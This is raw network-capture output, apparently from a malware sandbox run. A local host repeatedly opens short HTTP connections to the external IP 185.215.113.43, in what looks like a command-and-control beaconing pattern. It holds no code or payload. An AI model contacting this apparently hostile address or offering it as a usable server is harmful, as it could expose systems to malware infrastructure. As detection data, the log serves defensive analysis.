Oct 7, 2024 13:28:35.569981098 CEST	50065	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:37.086226940 CEST	50065	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:37.086550951 CEST	50066	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:37.091586113 CEST	80	50066	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:37.091942072 CEST	80	50065	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:37.092081070 CEST	50065	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:37.092348099 CEST	50066	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:37.092348099 CEST	50066	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:37.097312927 CEST	80	50066	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:37.788789988 CEST	80	50066	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:37.788861990 CEST	50066	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:39.415786028 CEST	50066	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:39.416151047 CEST	50067	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:39.421423912 CEST	80	50066	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:39.421480894 CEST	50066	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:39.421789885 CEST	80	50067	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:39.421864033 CEST	50067	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:39.422202110 CEST	50067	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:39.427309036 CEST	80	50067	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:40.133579016 CEST	80	50067	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:40.133738995 CEST	50067	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:41.650890112 CEST	50067	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:41.651220083 CEST	50068	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:41.656220913 CEST	80	50068	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:41.656321049 CEST	50068	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:41.656490088 CEST	80	50067	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:41.656550884 CEST	50067	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:41.656857014 CEST	50068	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:41.661734104 CEST	80	50068	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:42.361412048 CEST	80	50068	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:42.366966963 CEST	50068	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:43.993622065 CEST	50068	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:43.993957043 CEST	50069	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:43.998780012 CEST	80	50069	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:43.998807907 CEST	80	50068	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:43.998889923 CEST	50068	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:43.998910904 CEST	50069	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:43.999066114 CEST	50069	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:44.004074097 CEST	80	50069	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:44.727608919 CEST	80	50069	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:44.727724075 CEST	50069	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:46.243659973 CEST	50069	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:46.244024038 CEST	50070	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:46.458072901 CEST	80	50070	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:46.458146095 CEST	80	50069	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:46.458247900 CEST	50070	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:46.458412886 CEST	50069	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:48.040908098 CEST	50071	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:48.045824051 CEST	80	50071	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:48.046060085 CEST	50071	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:48.046214104 CEST	50071	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:48.051054955 CEST	80	50071	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:48.741291046 CEST	80	50071	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:48.741374016 CEST	50071	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:49.115700006 CEST	50071	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:49.121063948 CEST	80	50071	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:49.121139050 CEST	50071	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:50.260759115 CEST	50072	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:50.265661001 CEST	80	50072	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:50.266108990 CEST	50072	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:50.266108990 CEST	50072	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:50.271109104 CEST	80	50072	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:50.989383936 CEST	80	50072	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:50.989501953 CEST	50072	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:52.619422913 CEST	50072	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:52.619899035 CEST	50073	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:52.624406099 CEST	80	50072	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:52.624739885 CEST	80	50073	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:52.624747038 CEST	50072	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:52.624828100 CEST	50073	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:52.625143051 CEST	50073	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:52.629935980 CEST	80	50073	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:53.671658993 CEST	80	50073	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:53.671751022 CEST	50073	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:53.672096014 CEST	80	50073	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:53.672310114 CEST	50073	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:55.181066990 CEST	50073	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:55.181423903 CEST	50074	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:55.186316013 CEST	80	50074	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:55.186384916 CEST	50074	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:55.186434984 CEST	80	50073	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:55.186589956 CEST	50074	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:55.186613083 CEST	50073	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:55.191400051 CEST	80	50074	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:55.879344940 CEST	80	50074	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:55.879410028 CEST	50074	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:57.510041952 CEST	50074	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:57.510442972 CEST	50075	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:57.515201092 CEST	80	50074	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:57.515266895 CEST	80	50075	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:57.515326023 CEST	50074	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:57.515367031 CEST	50075	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:57.515678883 CEST	50075	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:57.520497084 CEST	80	50075	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:58.205837011 CEST	80	50075	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:58.205918074 CEST	50075	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:59.716275930 CEST	50075	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:59.716578007 CEST	50077	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:59.721376896 CEST	80	50077	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:59.721390963 CEST	80	50075	185.215.113.43	192.168.2.5
Oct 7, 2024 13:28:59.721438885 CEST	50077	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:59.721463919 CEST	50075	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:59.721813917 CEST	50077	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:28:59.726573944 CEST	80	50077	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:00.428572893 CEST	80	50077	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:00.428642035 CEST	50077	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:02.041516066 CEST	50077	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:02.041932106 CEST	50078	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:02.046900034 CEST	80	50078	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:02.046964884 CEST	50078	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:02.047050953 CEST	80	50077	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:02.047101021 CEST	50077	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:02.047223091 CEST	50078	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:02.052017927 CEST	80	50078	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:02.749880075 CEST	80	50078	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:02.750046015 CEST	50078	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:04.261256933 CEST	50078	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:04.261604071 CEST	50079	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:04.380227089 CEST	80	50079	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:04.380345106 CEST	50079	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:04.380537033 CEST	80	50078	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:04.380601883 CEST	50078	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:04.380975008 CEST	50079	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:04.387479067 CEST	80	50079	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:05.133424044 CEST	80	50079	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:05.133677959 CEST	50079	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:06.759516001 CEST	50079	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:06.759851933 CEST	50080	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:06.764683962 CEST	80	50079	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:06.764736891 CEST	80	50080	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:06.764749050 CEST	50079	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:06.764811039 CEST	50080	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:06.765007973 CEST	50080	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:06.769737959 CEST	80	50080	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:07.454952955 CEST	80	50080	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:07.455043077 CEST	50080	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:08.962121010 CEST	50080	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:08.962496996 CEST	50081	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:08.967312098 CEST	80	50081	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:08.967402935 CEST	50081	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:08.967598915 CEST	50081	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:08.969847918 CEST	80	50080	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:08.969898939 CEST	50080	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:08.972522020 CEST	80	50081	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:09.700020075 CEST	80	50081	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:09.700105906 CEST	50081	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:11.322436094 CEST	50081	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:11.322844028 CEST	50082	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:11.327759027 CEST	80	50081	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:11.327828884 CEST	50081	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:11.327836037 CEST	80	50082	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:11.327918053 CEST	50082	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:11.328073978 CEST	50082	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:11.333046913 CEST	80	50082	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:12.064918041 CEST	80	50082	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:12.064985991 CEST	50082	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:13.571681023 CEST	50082	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:13.572002888 CEST	50083	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:13.576987028 CEST	80	50083	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:13.577076912 CEST	50083	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:13.577143908 CEST	80	50082	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:13.577197075 CEST	50082	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:13.577291012 CEST	50083	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:13.582084894 CEST	80	50083	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:14.271991968 CEST	80	50083	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:14.272092104 CEST	50083	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:15.898637056 CEST	50083	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:15.899063110 CEST	50084	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:15.903904915 CEST	80	50084	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:15.903996944 CEST	50084	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:15.904158115 CEST	80	50083	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:15.904169083 CEST	50084	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:15.906251907 CEST	50083	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:15.908941984 CEST	80	50084	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:16.623200893 CEST	80	50084	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:16.623367071 CEST	50084	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:18.134274006 CEST	50084	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:18.134690046 CEST	50085	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:18.139475107 CEST	80	50084	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:18.139528036 CEST	80	50085	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:18.139632940 CEST	50085	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:18.139648914 CEST	50084	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:18.139750957 CEST	50085	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:18.144527912 CEST	80	50085	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:18.870923996 CEST	80	50085	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:18.870990992 CEST	50085	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:20.494488001 CEST	50085	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:20.494817019 CEST	50086	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:20.499562979 CEST	80	50086	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:20.499600887 CEST	80	50085	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:20.499643087 CEST	50086	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:20.499676943 CEST	50085	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:20.499924898 CEST	50086	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:20.504667997 CEST	80	50086	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:21.190983057 CEST	80	50086	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:21.191039085 CEST	50086	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:22.696682930 CEST	50086	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:22.697061062 CEST	50087	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:22.703150988 CEST	80	50087	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:22.703171015 CEST	80	50086	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:22.703224897 CEST	50087	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:22.703253031 CEST	50086	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:22.703572989 CEST	50087	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:22.708816051 CEST	80	50087	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:23.419543982 CEST	80	50087	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:23.419625044 CEST	50087	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:25.024763107 CEST	50087	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:25.027299881 CEST	50088	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:25.030657053 CEST	80	50087	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:25.031882048 CEST	50087	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:25.032345057 CEST	80	50088	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:25.035402060 CEST	50088	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:25.037905931 CEST	50088	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:25.044161081 CEST	80	50088	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:25.757266045 CEST	80	50088	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:25.757337093 CEST	50088	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:27.274878979 CEST	50089	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:27.274893045 CEST	50088	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:27.397975922 CEST	80	50089	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:27.398107052 CEST	50089	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:27.398332119 CEST	80	50088	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:27.398358107 CEST	50089	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:27.398427963 CEST	50088	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:27.403136969 CEST	80	50089	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:28.133719921 CEST	80	50089	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:28.133775949 CEST	50089	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:29.760389090 CEST	50089	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:29.761111021 CEST	50090	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:29.765563965 CEST	80	50089	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:29.765675068 CEST	50089	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:29.765834093 CEST	80	50090	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:29.765898943 CEST	50090	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:29.766119003 CEST	50090	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:29.770865917 CEST	80	50090	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:30.665015936 CEST	80	50090	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:30.665118933 CEST	50090	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:32.182025909 CEST	50090	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:32.182518959 CEST	50091	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:32.187328100 CEST	80	50090	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:32.187356949 CEST	80	50091	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:32.187400103 CEST	50090	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:32.187458038 CEST	50091	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:32.187674999 CEST	50091	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:32.192483902 CEST	80	50091	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:32.922765970 CEST	80	50091	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:32.923578978 CEST	50091	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:34.556713104 CEST	50091	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:34.557018042 CEST	50092	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:34.562542915 CEST	80	50092	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:34.562614918 CEST	50092	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:34.562773943 CEST	50092	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:34.563536882 CEST	80	50091	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:34.563601017 CEST	50091	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:34.567598104 CEST	80	50092	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:35.265564919 CEST	80	50092	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:35.265744925 CEST	50092	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:36.776139021 CEST	50092	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:36.776140928 CEST	50093	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:36.781001091 CEST	80	50093	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:36.781240940 CEST	80	50092	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:36.781349897 CEST	50092	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:36.781352997 CEST	50093	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:36.783404112 CEST	50093	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:36.788184881 CEST	80	50093	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:37.506202936 CEST	80	50093	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:37.506417036 CEST	50093	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:39.134289980 CEST	50093	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:39.135428905 CEST	50094	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:39.139662981 CEST	80	50093	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:39.140311003 CEST	80	50094	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:39.143521070 CEST	50093	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:39.143522024 CEST	50094	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:39.143826008 CEST	50094	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:39.148627043 CEST	80	50094	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:39.845134020 CEST	80	50094	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:39.845197916 CEST	50094	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:41.352777004 CEST	50094	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:41.352780104 CEST	50095	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:41.357661009 CEST	80	50095	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:41.359191895 CEST	80	50094	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:41.359317064 CEST	50094	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:41.359323978 CEST	50095	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:41.363447905 CEST	50095	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:41.368277073 CEST	80	50095	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:42.092799902 CEST	80	50095	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:42.092865944 CEST	50095	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:43.713536978 CEST	50095	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:43.713913918 CEST	50096	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:43.719059944 CEST	80	50095	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:43.719126940 CEST	50095	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:43.719214916 CEST	80	50096	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:43.719296932 CEST	50096	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:43.719518900 CEST	50096	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:43.724390984 CEST	80	50096	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:44.541105032 CEST	80	50096	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:44.541184902 CEST	50096	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:46.057189941 CEST	50096	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:46.057590008 CEST	50097	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:46.062670946 CEST	80	50097	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:46.062747002 CEST	50097	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:46.063002110 CEST	80	50096	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:46.063055038 CEST	50096	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:46.063364029 CEST	50097	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:46.068202972 CEST	80	50097	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:46.786784887 CEST	80	50097	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:46.786920071 CEST	50097	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:48.400876045 CEST	50097	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:48.401195049 CEST	50098	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:48.406359911 CEST	80	50097	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:48.406404018 CEST	80	50098	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:48.406440020 CEST	50097	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:48.406485081 CEST	50098	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:48.406694889 CEST	50098	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:48.411534071 CEST	80	50098	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:52.120182991 CEST	80	50098	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:52.120254040 CEST	50098	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:53.635281086 CEST	50098	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:53.635669947 CEST	50099	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:53.640788078 CEST	80	50098	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:53.640872955 CEST	50098	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:53.641473055 CEST	80	50099	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:53.641561985 CEST	50099	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:53.641808987 CEST	50099	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:53.646769047 CEST	80	50099	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:54.335619926 CEST	80	50099	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:54.335724115 CEST	50099	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:55.962932110 CEST	50099	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:55.963423967 CEST	50100	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:55.968166113 CEST	80	50099	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:55.968224049 CEST	50099	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:55.968583107 CEST	80	50100	185.215.113.43	192.168.2.5
Oct 7, 2024 13:29:55.968650103 CEST	50100	80	192.168.2.5	185.215.113.43
Oct 7, 2024 13:29:55.968863964 CEST	50100	80	192.168.2.5	185.215.113.43
